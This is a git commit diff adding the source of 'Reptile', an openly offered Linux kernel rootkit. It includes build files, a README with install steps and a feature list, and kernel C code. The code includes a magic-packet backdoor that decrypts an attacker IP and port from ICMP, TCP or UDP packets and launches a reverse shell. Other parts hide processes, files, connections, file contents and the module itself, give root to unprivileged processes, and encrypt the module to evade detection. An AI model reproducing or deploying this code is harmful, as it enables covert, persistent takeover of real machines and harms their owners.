parent
abaac0ea03
commit
6bf9f94e99
@ -0,0 +1,90 @@
|
||||
mainmenu "Reptile's configuration"
|
||||
|
||||
comment "Chose the features you wanna enable"
|
||||
|
||||
config CONFIG_BACKDOOR
|
||||
bool "Backdoor"
|
||||
default y
|
||||
|
||||
menu "Backdoor configuration"
|
||||
depends on CONFIG_BACKDOOR
|
||||
|
||||
config MAGIC_VALUE
|
||||
string "Magic value to magic packets"
|
||||
default "hax0r"
|
||||
|
||||
config PASSWORD
|
||||
string "Backdoor password"
|
||||
default "s3cr3t"
|
||||
|
||||
config SRCPORT
|
||||
int "Source port of magic packets"
|
||||
default 666
|
||||
range 0 65535
|
||||
|
||||
comment "END"
|
||||
endmenu
|
||||
|
||||
config CONFIG_FILE_TAMPERING
|
||||
bool "Hide specific file contents"
|
||||
default y
|
||||
|
||||
menu "Name used in file tampering tags"
|
||||
depends on CONFIG_FILE_TAMPERING
|
||||
|
||||
config TAG_NAME
|
||||
string "Tag name that hide file contents"
|
||||
default "reptile"
|
||||
|
||||
comment "END"
|
||||
endmenu
|
||||
|
||||
config CONFIG_HIDE_PROC
|
||||
bool "Hide process"
|
||||
default y
|
||||
|
||||
config CONFIG_HIDE_DIR
|
||||
bool "Hide files and directories"
|
||||
default y
|
||||
|
||||
menu "Hide name (needed to create Reptile's folder)"
|
||||
config HIDE
|
||||
string "Hide name"
|
||||
default "reptile"
|
||||
|
||||
comment "END"
|
||||
endmenu
|
||||
|
||||
config CONFIG_HIDE_CONN
|
||||
bool "Hide TCP and UDP connections"
|
||||
default y
|
||||
|
||||
config CONFIG_AUTO_HIDE
|
||||
bool "Hide kernel module itself"
|
||||
default y
|
||||
|
||||
config CONFIG_GIVE_ROOT
|
||||
bool "Enable give root to a process run by an unprivileged user"
|
||||
default y
|
||||
|
||||
config CONFIG_RSHELL_ON_START
|
||||
bool "Would you like to launch the reverse shell daemon on start?"
|
||||
default n
|
||||
|
||||
menu "Reverse shell daemon configuration"
|
||||
depends on CONFIG_RSHELL_ON_START
|
||||
|
||||
config LHOST
|
||||
string "Host to receive the reverse shell"
|
||||
default "127.0.0.1"
|
||||
|
||||
config LPORT
|
||||
string "Port get the reverse shell"
|
||||
default "4444"
|
||||
|
||||
config INTERVAL
|
||||
string "How long is your interval? (in seconds)"
|
||||
default "1800"
|
||||
|
||||
comment "END"
|
||||
endmenu
|
@ -0,0 +1,67 @@
|
||||
CC := gcc
|
||||
RM = rm -rf
|
||||
SHELL := /bin/bash
|
||||
PWD := $(shell pwd)
|
||||
KERNEL := /lib/modules/$(shell uname -r)/build
|
||||
CLIENT_DIR ?= $(PWD)/userland
|
||||
CONFIG_SCRIPT ?= $(PWD)/scripts/kconfig/config.sh
|
||||
CONFIG_FILE ?= $(PWD)/.config
|
||||
GEN_RANDOM ?= $(PWD)/scripts/random.sh
|
||||
BUILD_DIR ?= $(PWD)/output
|
||||
BUILD_DIR_MAKEFILE ?= $(BUILD_DIR)/Makefile
|
||||
MODULE_DIR ?= $(PWD)/kernel
|
||||
ENCRYPT_SRC ?= $(PWD)/kernel/encrypt/encrypt.c
|
||||
ENCRYPT ?= $(BUILD_DIR)/encrypt
|
||||
KMATRYOSHKA_DIR ?= $(PWD)/kernel/kmatryoshka
|
||||
PARASITE ?= $(BUILD_DIR)/reptile_module.ko
|
||||
RAND1 = 0x$(shell cat /dev/urandom | head -c 4 | hexdump '-e"%x"')
|
||||
RAND2 = 0x$(shell cat /dev/urandom | head -c 4 | hexdump '-e"%x"')
|
||||
INCLUDE ?= -I$(PWD)/kernel/include
|
||||
LOADER ?= $(PWD)/kernel/loader/loader.c
|
||||
INSTALLER ?= $(PWD)/scripts/installer.sh
|
||||
|
||||
all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile
|
||||
|
||||
reptile: $(LOADER)
|
||||
@ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc
|
||||
@ echo " CC $(BUILD_DIR)/$@"
|
||||
@ $(CC) $(INCLUDE) -I$(BUILD_DIR) $< -o $(BUILD_DIR)/$@
|
||||
|
||||
kmatryoshka:
|
||||
@ $(ENCRYPT) $(PARASITE) $(RAND1) > $(BUILD_DIR)/parasite_blob.inc
|
||||
@ $(MAKE) -C $(KERNEL) M=$(BUILD_DIR) src=$(KMATRYOSHKA_DIR)
|
||||
|
||||
module:
|
||||
@ $(MAKE) -C $(KERNEL) M=$(BUILD_DIR) src=$(MODULE_DIR)
|
||||
|
||||
$(ENCRYPT): $(ENCRYPT_SRC)
|
||||
@ echo " CC $(ENCRYPT)"
|
||||
@ $(CC) $(INCLUDE) -std=c99 $< -o $@
|
||||
|
||||
$(BUILD_DIR):
|
||||
@ mkdir -p $(BUILD_DIR)
|
||||
|
||||
$(BUILD_DIR_MAKEFILE): $(BUILD_DIR)
|
||||
@ touch $@
|
||||
|
||||
config:
|
||||
@ $(SHELL) $(CONFIG_SCRIPT) $@
|
||||
@ $(SHELL) $(GEN_RANDOM) $(CONFIG_FILE)
|
||||
|
||||
%config:
|
||||
@ $(SHELL) $(CONFIG_SCRIPT) $@
|
||||
@ $(SHELL) $(GEN_RANDOM) $(CONFIG_FILE)
|
||||
|
||||
userland_bin:
|
||||
@ $(MAKE) -C $(CLIENT_DIR) EXTRA_FLAGS=-D_REPTILE_
|
||||
|
||||
install:
|
||||
@ $(SHELL) $(INSTALLER)
|
||||
|
||||
client: $(BUILD_DIR)
|
||||
@ $(MAKE) -C $(CLIENT_DIR) packet listener client
|
||||
|
||||
.PHONY : clean module config
|
||||
|
||||
clean:
|
||||
@ $(RM) $(BUILD_DIR) $(CONFIG_FILE)
|
@ -0,0 +1,73 @@
|
||||
# Reptile
|
||||
|
||||
<img align="left" src="https://imgur.com/nqujOlz.png">
|
||||
|
||||
<br><br><br><br><br>
|
||||
<br><br><br><br><br>
|
||||
|
||||
## Tested on
|
||||
|
||||
**Debian 9**: 4.9.0-8-amd64<br>
|
||||
**Debian 10**: 4.19.0-8-amd64<br>
|
||||
**Ubuntu 18.04.1 LTS**: 4.15.0-38-generic<br>
|
||||
**Kali Linux**: 4.18.0-kali2-amd64<br>
|
||||
**Centos 6.10**: 2.6.32-754.6.3.el6.x86_64<br>
|
||||
**Centos 7**: 3.10.0-862.3.2.el7.x86_64<br>
|
||||
**Centos 8**: 4.18.0-147.5.1.el8_1.x86_64
|
||||
|
||||
## Features
|
||||
|
||||
- Give root to unprivileged users
|
||||
- Hide files and directories
|
||||
- Hide processes
|
||||
- Hide himself
|
||||
- Hide TCP/UDP connections
|
||||
- Hidden boot persistence
|
||||
- File content tampering
|
||||
- Some obfuscation techniques
|
||||
- ICMP/UDP/TCP port-knocking backdoor
|
||||
- Full TTY/PTY shell with file transfer
|
||||
- Client to handle Reptile Shell
|
||||
- Shell connect back each X times (not default)
|
||||
|
||||
## Install
|
||||
```
|
||||
apt install build-essential libncurses-dev linux-headers-$(uname -r)
|
||||
git clone https://github.com/f0rb1dd3n/Reptile.git
|
||||
cd Reptile
|
||||
make menuconfig # or 'make config' or even 'make defconfig'
|
||||
make
|
||||
make install
|
||||
```
|
||||
More details about the installation see [Wiki](https://github.com/f0rb1dd3n/Reptile/wiki/Install)
|
||||
## Uninstall
|
||||
|
||||
When you got a sucessfully installation, the way to remove that will be shown in the screen
|
||||
|
||||
## Usage
|
||||
|
||||
See [Wiki](https://github.com/f0rb1dd3n/Reptile/wiki/Usage) to usage details. So, read the fucking manual before opening an issue!
|
||||
|
||||
## Warning
|
||||
|
||||
Some functions of this module is based on another rootkits. Please see the references!
|
||||
|
||||
## References
|
||||
|
||||
- “[LKM HACKING](http://www.ouah.org/LKM_HACKING.html)”, The Hackers Choice (THC), 1999;
|
||||
- https://github.com/mncoppola/suterusu
|
||||
- https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git
|
||||
- https://github.com/creaktive/tsh
|
||||
- https://github.com/brenns10/lsh
|
||||
|
||||
## Thanks
|
||||
|
||||
Special thanks to my friend [Ilya V. Matveychikov](https://github.com/milabs) for the [KHOOK](https://github.com/milabs/khook) framework and [kmatryoshka](https://github.com/milabs/kmatryoshka) loader.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
If you wanna more information, send me an e-mail: f0rb1dd3n@tuta.io
|
||||
|
||||
<p align="center">
|
||||
<img src="http://2.bp.blogspot.com/-OMozG1JNxic/VQxKMfiU2EI/AAAAAAAAOQM/_suBsIa9O7c/s1600/Reptile%2B6.gif">
|
||||
</p>
|
@ -0,0 +1,45 @@
|
||||
#
|
||||
# Automatically generated file; DO NOT EDIT.
|
||||
# Reptile's configuration
|
||||
#
|
||||
|
||||
#
|
||||
# Chose the features you wanna enable
|
||||
#
|
||||
CONFIG_BACKDOOR=y
|
||||
|
||||
#
|
||||
# Backdoor configuration
|
||||
#
|
||||
MAGIC_VALUE="hax0r"
|
||||
PASSWORD="s3cr3t"
|
||||
SRCPORT=666
|
||||
|
||||
#
|
||||
# END
|
||||
#
|
||||
CONFIG_FILE_TAMPERING=y
|
||||
|
||||
#
|
||||
# Name used in file tampering tags
|
||||
#
|
||||
TAG_NAME="reptile"
|
||||
|
||||
#
|
||||
# END
|
||||
#
|
||||
CONFIG_HIDE_PROC=y
|
||||
CONFIG_HIDE_DIR=y
|
||||
|
||||
#
|
||||
# Hide name (needed to create Reptile's folder)
|
||||
#
|
||||
HIDE="reptile"
|
||||
|
||||
#
|
||||
# END
|
||||
#
|
||||
CONFIG_HIDE_CONN=y
|
||||
CONFIG_AUTO_HIDE=y
|
||||
CONFIG_GIVE_ROOT=y
|
||||
# CONFIG_RSHELL_ON_START is not set
|
@ -0,0 +1,39 @@
|
||||
MODNAME ?= reptile_module
|
||||
CONFIG_FILE := $(src)/../.config
|
||||
|
||||
include $(CONFIG_FILE)
|
||||
|
||||
ccflags-y += -I$(src)/include -Werror -fno-stack-protector -fomit-frame-pointer
|
||||
ldflags-y += -T$(src)/khook/engine.lds
|
||||
|
||||
obj-m += $(MODNAME).o
|
||||
$(MODNAME)-y += main.o string_helpers.o util.o
|
||||
|
||||
$(MODNAME)-$(CONFIG_BACKDOOR) += backdoor.o
|
||||
$(MODNAME)-$(CONFIG_HIDE_PROC) += proc.o
|
||||
$(MODNAME)-$(CONFIG_HIDE_DIR) += dir.o
|
||||
$(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o
|
||||
$(MODNAME)-$(CONFIG_HIDE_CONN) += network.o
|
||||
$(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o
|
||||
|
||||
ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR
|
||||
ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\"
|
||||
ccflags-$(CONFIG_BACKDOOR) += -DPASSWORD=\"$(PASSWORD)\"
|
||||
ccflags-$(CONFIG_BACKDOOR) += -DSRCPORT=$(SRCPORT)
|
||||
|
||||
ccflags-$(CONFIG_FILE_TAMPERING) += -DCONFIG_FILE_TAMPERING
|
||||
ccflags-$(CONFIG_FILE_TAMPERING) += -DTAG_NAME=\"$(TAG_NAME)\"
|
||||
|
||||
ccflags-$(CONFIG_HIDE_DIR) += -DCONFIG_HIDE_DIR
|
||||
ccflags-$(CONFIG_HIDE_DIR) += -DHIDE=\"$(HIDE)\"
|
||||
|
||||
ccflags-$(CONFIG_HIDE_PROC) += -DCONFIG_HIDE_PROC
|
||||
ccflags-$(CONFIG_HIDE_CONN) += -DCONFIG_HIDE_CONN
|
||||
ccflags-$(CONFIG_AUTO_HIDE) += -DCONFIG_AUTO_HIDE
|
||||
ccflags-$(CONFIG_GIVE_ROOT) += -DCONFIG_GIVE_ROOT
|
||||
|
||||
ccflags-y += -DAUTH=$(AUTH)
|
||||
ccflags-y += -DHTUA=$(HTUA)
|
||||
|
||||
KBUILD_CFLAGS := $(filter-out -pg,$(KBUILD_CFLAGS))
|
||||
KBUILD_CFLAGS := $(filter-out -mfentry,$(KBUILD_CFLAGS))
|
@ -0,0 +1,266 @@
|
||||
#include <linux/string.h>
|
||||
#include <linux/version.h>
|
||||
#include <linux/net.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/tcp.h>
|
||||
#include <linux/udp.h>
|
||||
#include <linux/icmp.h>
|
||||
#include <linux/workqueue.h>
|
||||
|
||||
#include "util.h"
|
||||
#include "config.h"
|
||||
#include "backdoor.h"
|
||||
|
||||
struct shell_task {
|
||||
struct work_struct work;
|
||||
char *ip;
|
||||
char *port;
|
||||
};
|
||||
|
||||
void shell_execer(struct work_struct *work)
|
||||
{
|
||||
struct shell_task *task = (struct shell_task *)work;
|
||||
char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL };
|
||||
|
||||
exec(argv);
|
||||
|
||||
kfree(task->ip);
|
||||
kfree(task->port);
|
||||
kfree(task);
|
||||
}
|
||||
|
||||
int shell_exec_queue(char *ip, char *port)
|
||||
{
|
||||
struct shell_task *task;
|
||||
|
||||
task = kmalloc(sizeof(*task), GFP_KERNEL);
|
||||
|
||||
if (!task)
|
||||
return 0;
|
||||
|
||||
task->ip = kstrdup(ip, GFP_KERNEL);
|
||||
if (!task->ip) {
|
||||
kfree(task);
|
||||
return 0;
|
||||
}
|
||||
|
||||
task->port = kstrdup(port, GFP_KERNEL);
|
||||
if (!task->port) {
|
||||
kfree(task->ip);
|
||||
kfree(task);
|
||||
return 0;
|
||||
}
|
||||
|
||||
INIT_WORK(&task->work, &shell_execer);
|
||||
|
||||
return schedule_work(&task->work);
|
||||
}
|
||||
|
||||
#define DROP 0
|
||||
#define ACCEPT 1
|
||||
|
||||
unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
|
||||
{
|
||||
const struct iphdr *ip_header;
|
||||
const struct icmphdr *icmp_header;
|
||||
const struct tcphdr *tcp_header;
|
||||
const struct udphdr *udp_header;
|
||||
struct iphdr _iph;
|
||||
struct icmphdr _icmph;
|
||||
struct tcphdr _tcph;
|
||||
struct udphdr _udph;
|
||||
const char *data = NULL;
|
||||
char *_data, *argv_str, **argv;
|
||||
int size, str_size;
|
||||
|
||||
if (!socket_buffer)
|
||||
return ACCEPT;
|
||||
|
||||
ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph);
|
||||
|
||||
if (!ip_header)
|
||||
return ACCEPT;
|
||||
|
||||
if (!ip_header->protocol)
|
||||
return ACCEPT;
|
||||
|
||||
if (htons(ip_header->id) != IPID)
|
||||
return ACCEPT;
|
||||
|
||||
if (ip_header->protocol == IPPROTO_TCP) {
|
||||
tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph);
|
||||
|
||||
if (!tcp_header)
|
||||
return ACCEPT;
|
||||
|
||||
if (htons(tcp_header->source) != SRCPORT)
|
||||
return ACCEPT;
|
||||
|
||||
if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */
|
||||
htons(tcp_header->window) == WIN) {
|
||||
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph);
|
||||
|
||||
_data = kmalloc(size, GFP_KERNEL);
|
||||
|
||||
if (!_data)
|
||||
return ACCEPT;
|
||||
|
||||
str_size = size - strlen(MAGIC_VALUE);
|
||||
argv_str = kmalloc(str_size, GFP_KERNEL);
|
||||
|
||||
if (!argv_str) {
|
||||
kfree(_data);
|
||||
return ACCEPT;
|
||||
}
|
||||
|
||||
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data);
|
||||
|
||||
if (!data) {
|
||||
kfree(_data);
|
||||
kfree(argv_str);
|
||||
return ACCEPT;
|
||||
}
|
||||
|
||||
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
|
||||
|
||||
memzero_explicit(argv_str, str_size);
|
||||
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
|
||||
do_decrypt(argv_str, str_size - 1, KEY);
|
||||
|
||||
argv = argv_split(GFP_KERNEL, argv_str, NULL);
|
||||
|
||||
if (argv) {
|
||||
shell_exec_queue(argv[0], argv[1]);
|
||||
argv_free(argv);
|
||||
}
|
||||
|
||||
kfree(_data);
|
||||
kfree(argv_str);
|
||||
|
||||
return DROP;
|
||||
}
|
||||
|
||||
kfree(_data);
|
||||
kfree(argv_str);
|
||||
}
|
||||
}
|
||||
|
||||
if (ip_header->protocol == IPPROTO_ICMP) {
|
||||
icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph);
|
||||
|
||||
if (!icmp_header)
|
||||
return ACCEPT;
|
||||
|
||||
if (icmp_header->code != ICMP_ECHO)
|
||||
return ACCEPT;
|
||||
|
||||
if (htons(icmp_header->un.echo.sequence) == SEQ &&
|
||||
htons(icmp_header->un.echo.id) == WIN) {
|
||||
|
||||
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph);
|
||||
|
||||
_data = kmalloc(size, GFP_KERNEL);
|
||||
|
||||
if (!_data)
|
||||
return ACCEPT;
|
||||
|
||||
str_size = size - strlen(MAGIC_VALUE);
|
||||
argv_str = kmalloc(str_size, GFP_KERNEL);
|
||||
|
||||
if (!argv_str) {
|
||||
kfree(_data);
|
||||
return ACCEPT;
|
||||
}
|
||||
|
||||
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data);
|
||||
|
||||
if (!data) {
|
||||
kfree(_data);
|
||||
kfree(argv_str);
|
||||
return ACCEPT;
|
||||
}
|
||||
|
||||
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
|
||||
|
||||
memzero_explicit(argv_str, str_size);
|
||||
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
|
||||
do_decrypt(argv_str, str_size - 1, KEY);
|
||||
|
||||
argv = argv_split(GFP_KERNEL, argv_str, NULL);
|
||||
|
||||
if (argv) {
|
||||
shell_exec_queue(argv[0], argv[1]);
|
||||
argv_free(argv);
|
||||
}
|
||||
|
||||
kfree(_data);
|
||||
kfree(argv_str);
|
||||
|
||||
return DROP;
|
||||
}
|
||||
|
||||
kfree(_data);
|
||||
kfree(argv_str);
|
||||
}
|
||||
}
|
||||
|
||||
if (ip_header->protocol == IPPROTO_UDP) {
|
||||
udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph);
|
||||
|
||||
if (!udp_header)
|
||||
return ACCEPT;
|
||||
|
||||
if (htons(udp_header->source) != SRCPORT)
|
||||
return ACCEPT;
|
||||
|
||||
if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) {
|
||||
|
||||
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph);
|
||||
|
||||
_data = kmalloc(size, GFP_KERNEL);
|
||||
|
||||
if (!_data)
|
||||
return ACCEPT;
|
||||
|
||||
str_size = size - strlen(MAGIC_VALUE);
|
||||
argv_str = kmalloc(str_size, GFP_KERNEL);
|
||||
|
||||
if (!argv_str) {
|
||||
kfree(_data);
|
||||
return ACCEPT;
|
||||
}
|
||||
|
||||
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data);
|
||||
|
||||
if (!data) {
|
||||
kfree(_data);
|
||||
kfree(argv_str);
|
||||
return ACCEPT;
|
||||
}
|
||||
|
||||
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
|
||||
|
||||
memzero_explicit(argv_str, str_size);
|
||||
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
|
||||
do_decrypt(argv_str, str_size - 1, KEY);
|
||||
|
||||
argv = argv_split(GFP_KERNEL, argv_str, NULL);
|
||||
|
||||
if (argv) {
|
||||
shell_exec_queue(argv[0], argv[1]);
|
||||
argv_free(argv);
|
||||
}
|
||||
|
||||
kfree(_data);
|
||||
kfree(argv_str);
|
||||
|
||||
return DROP;
|
||||
}
|
||||
|
||||
kfree(_data);
|
||||
kfree(argv_str);
|
||||
}
|
||||
}
|
||||
|
||||
return ACCEPT;
|
||||
}
|
@ -0,0 +1,21 @@
|
||||
#include <linux/uaccess.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/string.h>
|
||||
#include <linux/limits.h>
|
||||
#include <linux/namei.h>
|
||||
|
||||
#include "dir.h"
|
||||
#include "config.h"
|
||||
|
||||
int is_name_invisible(const char __user *filename)
|
||||
{
|
||||
int ret = 0;
|
||||
char *name = kmalloc(PATH_MAX, GFP_KERNEL);
|
||||
|
||||
if (strncpy_from_user(name, filename, PATH_MAX) > 0)
|
||||
if (strstr(name, HIDE))
|
||||
ret = 1;
|
||||
|
||||
kfree(name);
|
||||
return ret;
|
||||
}
|
@ -0,0 +1,52 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "encrypt.h"
|
||||
|
||||
static long get_file_size(FILE *file)
|
||||
{
|
||||
long size;
|
||||
fseek(file, 0, SEEK_END);
|
||||
size = ftell(file);
|
||||
rewind(file);
|
||||
return size;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
if (argc != 3) {
|
||||
fprintf(stderr, "USAGE: encrypt <file> <pass:hex(uint32)>\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
FILE *file = fopen(argv[1], "rb");
|
||||
if (!file) {
|
||||
fprintf(stderr, "Can't open %s for reading\n", argv[1]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
long size = get_file_size(file);
|
||||
unsigned char *data = malloc(size);
|
||||
if (!data) {
|
||||
fprintf(stderr, "Can't allocate memory\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
if (fread(data, size, 1, file) != 1) {
|
||||
fprintf(stderr, "Can't read data from file\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fclose(file);
|
||||
|
||||
uint32_t key = strtol(argv[2], NULL, 16);
|
||||
do_encrypt(data, size, key);
|
||||
|
||||
printf("#define DECRYPT_KEY 0x%08x\n", key);
|
||||
for (int i = 0; i < size; i++) {
|
||||
printf("0x%02x,", data[i]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
@ -0,0 +1,65 @@
|
||||
#include <linux/uaccess.h>
|
||||
#include <linux/slab.h>
|
||||
|
||||
#include "file.h"
|
||||
|
||||
int file_check(void *arg, ssize_t size)
|
||||
{
|
||||
int ret = 0;
|
||||
char *buf;
|
||||
|
||||
if ((size <= 0) || (size >= SSIZE_MAX))
|
||||
return ret;
|
||||
|
||||
buf = (char *)kmalloc(size + 1, GFP_KERNEL);
|
||||
if (!buf)
|
||||
return ret;
|
||||
|
||||
if (copy_from_user((void *)buf, (void *)arg, size))
|
||||
goto out;
|
||||
|
||||
buf[size] = 0;
|
||||
|
||||
if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL))
|
||||
ret = 1;
|
||||
|
||||
out:
|
||||
kfree(buf);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int hide_content(void *arg, ssize_t size)
|
||||
{
|
||||
char *buf, *p1, *p2;
|
||||
int i, newret;
|
||||
|
||||
buf = (char *)kmalloc(size, GFP_KERNEL);
|
||||
if (!buf)
|
||||
return (-1);
|
||||
|
||||
if (copy_from_user((void *)buf, (void *)arg, size)) {
|
||||
kfree(buf);
|
||||
return size;
|
||||
}
|
||||
|
||||
p1 = strstr(buf, HIDETAGIN);
|
||||
p2 = strstr(buf, HIDETAGOUT);
|
||||
p2 += strlen(HIDETAGOUT);
|
||||
|
||||
if (p1 >= p2 || !p1 || !p2) {
|
||||
kfree(buf);
|
||||
return size;
|
||||
}
|
||||
|
||||
i = size - (p2 - buf);
|
||||
memmove((void *)p1, (void *)p2, i);
|
||||
newret = size - (p2 - p1);
|
||||
|
||||
if (copy_to_user((void *)arg, (void *)buf, newret)) {
|
||||
kfree(buf);
|
||||
return size;
|
||||
}
|
||||
|
||||
kfree(buf);
|
||||
return newret;
|
||||
}
|
@ -0,0 +1 @@
|
||||
unsigned int magic_packet_parse(struct sk_buff *socket_buffer);
|
@ -0,0 +1,26 @@
|
||||
/*
|
||||
* You can change the configurations in this file if you want.
|
||||
* But you need to make sure you'll change it in the client too.
|
||||
*
|
||||
* FIXME: randomly generate KEY, IPID, SEQ and WIN.
|
||||
*
|
||||
* Note: I know it is not a good practice to have those configurations
|
||||
* constants, but since there is already known issues in Reptile, this
|
||||
* will be the least of your problems. It will be updated next version!
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef CONFIG_BACKDOOR
|
||||
# define SHELL_PATH "/"HIDE"/"HIDE"_shell"
|
||||
# define KEY 0x6de56d3b
|
||||
# define IPID 3429
|
||||
# define SEQ 15123
|
||||
# define WIN 9965
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_FILE_TAMPERING
|
||||
# define HIDETAGIN "#<"TAG_NAME">"
|
||||
# define HIDETAGOUT "#</"TAG_NAME">"
|
||||
#endif
|
||||
|
||||
#define START_SCRIPT "/"HIDE"/"HIDE"_start"
|
@ -0,0 +1 @@
|
||||
int is_name_invisible(const char __user *filename);
|
@ -0,0 +1,20 @@
|
||||
#ifndef __LOADER_H__
|
||||
#define __LOADER_H__
|
||||
|
||||
#define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
|
||||
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
|
||||
|
||||
static inline unsigned int custom_rol32(unsigned int val, int n)
|
||||
{
|
||||
return ((val << n) | (val >> (32 - n)));
|
||||
}
|
||||
|
||||
static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
|
||||
{
|
||||
while (len > sizeof(key)) {
|
||||
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
|
||||
len -= sizeof(key), ptr += sizeof(key);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
@ -0,0 +1,16 @@
|
||||
#include "config.h"
|
||||
|
||||
#define SSIZE_MAX 32767
|
||||
|
||||
extern int file_tampering_flag;
|
||||
|
||||
int file_check(void *arg, ssize_t size);
|
||||
int hide_content(void *arg, ssize_t size);
|
||||
|
||||
static inline void file_tampering(void)
|
||||
{
|
||||
if (file_tampering_flag)
|
||||
file_tampering_flag = 0;
|
||||
else
|
||||
file_tampering_flag = 1;
|
||||
}
|
@ -0,0 +1 @@
|
||||
void hide_module(void);
|
@ -0,0 +1,12 @@
|
||||
#include <linux/in.h>
|
||||
|
||||
struct hidden_conn {
|
||||
struct sockaddr_in addr;
|
||||
struct list_head list;
|
||||
};
|
||||
|
||||
extern struct list_head hidden_conn_list;
|
||||
|
||||
void network_hide_add(struct sockaddr_in addr);
|
||||
void network_hide_remove(struct sockaddr_in addr);
|
||||
//void hide_conn(char *ip_str);
|
@ -0,0 +1,17 @@
|
||||
#define FLAG 0x80000000
|
||||
|
||||
struct tgid_iter {
|
||||
unsigned int tgid;
|
||||
struct task_struct *task;
|
||||
};
|
||||
|
||||
static inline int is_task_invisible(struct task_struct *task)
|
||||
{
|
||||
return task->flags & FLAG;
|
||||
}
|
||||
|
||||
int flag_tasks(pid_t pid, int set);
|
||||
int is_proc_invisible(pid_t pid);
|
||||
int is_proc_invisible_2(const char __user *filename);
|
||||
//void hide_proc(char *pid_str);
|
||||
void hide_proc(pid_t pid);
|
@ -0,0 +1,18 @@
|
||||
#include <linux/version.h>
|
||||
|
||||
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0)
|
||||
|
||||
#include <linux/types.h>
|
||||
#include <linux/sched.h>
|
||||
|
||||
char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp);
|
||||
|
||||
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
|
||||
char *strreplace(char *s, char old, char new);
|
||||
#endif
|
||||
|
||||
#else
|
||||
# include <linux/sched.h>
|
||||
# include <linux/string.h>
|
||||
# include <linux/string_helpers.h>
|
||||
#endif
|
@ -0,0 +1,89 @@
|
||||
#include <linux/version.h>
|
||||
#include <linux/kallsyms.h>
|
||||
#include <linux/cred.h>
|
||||
|
||||
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0)
|
||||
# include <linux/kmod.h>
|
||||
#else
|
||||
# include <linux/umh.h>
|
||||
#endif
|
||||
|
||||
#define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
|
||||
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
|
||||
|
||||
static inline unsigned int custom_rol32(unsigned int val, int n)
|
||||
{
|
||||
return ((val << n) | (val >> (32 - n)));
|
||||
}
|
||||
|
||||
static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
|
||||
{
|
||||
while (len > sizeof(key)) {
|
||||
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
|
||||
len -= sizeof(key), ptr += sizeof(key);
|
||||
}
|
||||
}
|
||||
|
||||
static inline int exec(char **argv)
|
||||
{
|
||||
char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
|
||||
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
|
||||
}
|
||||
|
||||
static inline int run_cmd(char *cmd)
|
||||
{
|
||||
char *argv[] = {"/bin/bash", "-c", cmd, NULL};
|
||||
return exec(argv);
|
||||
}
|
||||
|
||||
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
|
||||
unsigned long addr)
|
||||
{
|
||||
int i = 0;
|
||||
while (!module && (((const char *)data[0]))[i] == name[i]) {
|
||||
if (!name[i++])
|
||||
return !!(data[1] = addr);
|
||||
}
